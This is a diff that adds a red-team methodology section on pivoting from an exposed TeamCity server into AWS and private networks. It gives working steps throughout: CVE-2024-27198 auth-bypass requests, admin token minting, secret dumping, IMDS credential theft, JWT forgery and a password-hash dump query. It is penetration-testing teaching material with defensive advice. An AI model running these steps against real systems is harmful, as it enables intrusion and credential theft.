Add content from: Red-Teaming Cloud Infrastructure with Neo

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

@@ -106,6 +106,118 @@ Compromising a CI/CD pipeline or stealing credentials from it can let an attacke
 - If a compromised package is suspected, inspect the published tarball and not only the Git repository, because the malicious loader/runtime may exist only in the published artifact.
 - Hunt for unexpected package-manager execution inside CI such as `npm install` instead of `npm ci`, unexpected Bun downloads/execution, or new workflow artifacts generated from transient branches.
 
+## TeamCity: public CI/CD to cloud/internal pivoting
+
+A **publicly exposed TeamCity** should be treated as a potential **bridge into production credentials, cloud roles, and private subnets**. A practical attack chain is:
+
+1. **Fingerprint TeamCity and test unauthenticated REST access.** In vulnerable TeamCity On-Prem versions **through 2023.11.3**, the auth bypass **CVE-2024-27198** can route requests through:
+
+```http
+GET /hax?jsp=/app/rest/server;.jsp HTTP/1.1
+Host: <teamcity>:8111
+Accept: application/json
+```
+
+If the response returns server metadata without a session, the instance is likely exploitable.
+
+2. **Mint a persistent admin API token.** After confirming the bypass, create a token for a privileged user and switch to authenticated API abuse:
+
+```http
+POST /hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp HTTP/1.1
+Host: <teamcity>:8111
+Accept: application/json
+Content-Type: application/json
+
+```
+
+3. **Dump build parameters and project secrets.** TeamCity projects often store **database URLs, deploy keys, JWT secrets, SaaS tokens, and cloud credentials** in cleartext parameters:
+
+```http
+GET /app/rest/projects/id:BackendApi/parameters HTTP/1.1
+Authorization: Bearer <teamcity_token>
+Accept: application/json
+```
+
+4. **Execute commands on build agents.** If you can create or modify a build configuration, the build agent becomes your execution proxy. Use it to dump environment variables, read mounted files, and query local metadata/services.
+
+### TeamCity build agents on EC2: steal IMDS credentials
+
+If the build agent runs on **EC2**, command execution often means **instance-profile credential theft**. For **IMDSv1**:
+
+```bash
+IMDS_ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IMDS_ROLE"
+```
+
+With the temporary credentials, validate **real impact** instead of stopping at discovery:
+
+```bash
+aws s3 ls
+aws ssm describe-parameters
+aws ssm get-parameter --name /prod/jwt-secret --with-decryption
+aws ec2 describe-instances
+aws rds describe-db-instances
+```
+
+Interesting loot after a CI/CD compromise:
+
+- **S3 buckets** holding SQL dumps, build artifacts, legacy `.env` files, or static IAM keys
+- **SSM Parameter Store** values with production secrets and internal hostnames
+- **EC2 user-data** disclosing bootstrap credentials or deployment scripts
+- **Describe** permissions that reveal private hosts, subnets, and RDS endpoints for the next pivot
+
+> [!TIP]
+> If you only need metadata from the instance itself, you can also inspect **EC2 user-data** and **instance profiles** from the stolen role using the AWS enumeration pages linked from the AWS section.
+
+### Pivot into private services through the build agent
+
+Do not treat a private subnet as a security boundary if the CI/CD agent already has legitimate reachability to it. The **build job itself** can be used as a **proxy** to enumerate and access internal HTTP services:
+
+```bash
+for path in /health /api/v1/orders /admin /metrics /debug /internal; do
+  curl -s -H "Authorization: Bearer $JWT" "http://internal-host:5000${path}"
+done
+```
+
+This is especially useful after stealing a **shared HS256 JWT secret** from TeamCity parameters, SSM, user-data, or artifacts. Once the secret is known, **JWT claims are attacker-controlled input** even though the token is validly signed:
+
+```python
+import jwt, time
+secret = 'hs256-internal-svc-do-not-share-2024'
+payload = {'sub': 'admin', 'role': 'admin', 'iat': int(time.time()), 'exp': int(time.time()) + 86400}
+print(jwt.encode(payload, secret, algorithm='HS256'))
+```
+
+Abuse paths after JWT forgery:
+
+- Access internal endpoints that only check for a valid signature or `Authorization` header
+- Escalate to admin-only routes when role/claim validation is weak
+- Turn signed claims such as `sub` into a **SQL injection** vector if they are concatenated into backend queries
+
+A raw error such as `invalid input syntax for type integer` plus leaked SQL like `WHERE user_id = 'admin'` strongly suggests the JWT claim is reaching SQL unsafely.
+
+### TeamCity-specific dangerous debug surface
+
+If `internal.properties` enables:
+
+```properties
+rest.debug.database.allow.query.prefixes=select
+```
+
+an attacker with an admin token can query TeamCity's internal database via REST and dump data such as user password hashes:
+
+```http
+GET /app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS HTTP/1.1
+Authorization: Bearer <teamcity_token>
+```
+
+### Practical assessment takeaways
+
+- A **TeamCity auth bypass** is rarely "just" a CI bug; it is often the **entry point** to cloud, secrets, and internal network compromise.
+- A **scanner hit** (for example, a Nuclei template) should be followed by **token minting, secret review, build-agent execution, IMDS checks, cloud enumeration, and private-subnet pivoting**.
+- Defensively, require **IMDSv2** with `HttpTokens=required`, avoid storing long-lived secrets in TeamCity parameters, and disable dangerous debug database query features.
+
+## More relevant info
 
 ### Tools & CIS Benchmark
 
@@ -127,6 +239,9 @@ Check this interesting article about the top 10 CI/CD risks according to Cider:
 ## References
 
 - [ProjectDiscovery: Red-Teaming Cloud Infrastructure with Neo](https://projectdiscovery.io/blog/red-teaming-cloud-infrastructure-with-neo)
+- [JetBrains TeamCity: Additional Critical Security Issues Affecting TeamCity On-Premises (CVE-2024-27198 and CVE-2024-27199)](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/)
+- [AWS CLI: modify-instance-metadata-options](https://docs.aws.amazon.com/en_us/cli/latest/reference/ec2/modify-instance-metadata-options.html)
+- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
 - [The npm Threat Landscape: Attack Surface and Mitigations](https://unit42.paloaltonetworks.com/monitoring-npm-supply-chain-attacks/)
 - [Checkmarx Security Update: April 22, 2026](https://checkmarx.com/blog/checkmarx-security-update-april-22/?p=108469)